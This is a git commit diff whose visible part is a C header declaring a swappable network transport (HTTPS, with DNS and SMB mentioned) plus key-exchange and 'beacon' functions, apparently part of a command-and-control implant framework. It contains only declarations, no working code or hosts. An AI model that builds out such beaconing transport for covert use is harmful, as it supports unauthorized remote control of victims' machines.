initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
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+#ifndef ZERIN_TRANSPORT_H
+#define ZERIN_TRANSPORT_H
+
+#include <stdint.h>
+#include <stddef.h>
+
+// Transport interface — function pointers allow swapping HTTP/DNS/SMB/etc.
+typedef struct transport transport_t;
+
+typedef int  (*transport_init_fn)(transport_t *t, const char *url, const char *user_agent);
+typedef int  (*transport_send_fn)(transport_t *t, const char *endpoint,
+                                  const uint8_t *data, size_t data_len,
+                                  uint8_t **response, size_t *response_len);
+typedef void (*transport_cleanup_fn)(transport_t *t);
+
+struct transport {
+    transport_init_fn       init;
+    transport_send_fn       send;
+    transport_cleanup_fn    cleanup;
+    void                    *ctx;       // Implementation-specific context
+};
+
+// HTTP/S transport implementation
+extern transport_t transport_https;
+
+int  http_init(transport_t *t, const char *url, const char *user_agent);
+int  http_send(transport_t *t, const char *endpoint,
+               const uint8_t *data, size_t data_len,
+               uint8_t **response, size_t *response_len);
+void http_cleanup(transport_t *t);
+
+// High-level transport functions used by beacon
+int transport_do_key_exchange(transport_t *t, const char *base_url,
+                              const uint8_t *kx_data, size_t kx_len,
+                              uint8_t **response, size_t *response_len);
+
+int transport_do_beacon(transport_t *t, const char *base_url,
+                        const uint8_t *beacon_data, size_t beacon_len,
+                        uint8_t **response, size_t *response_len);
+
+#endif // ZERIN_TRANSPORT_H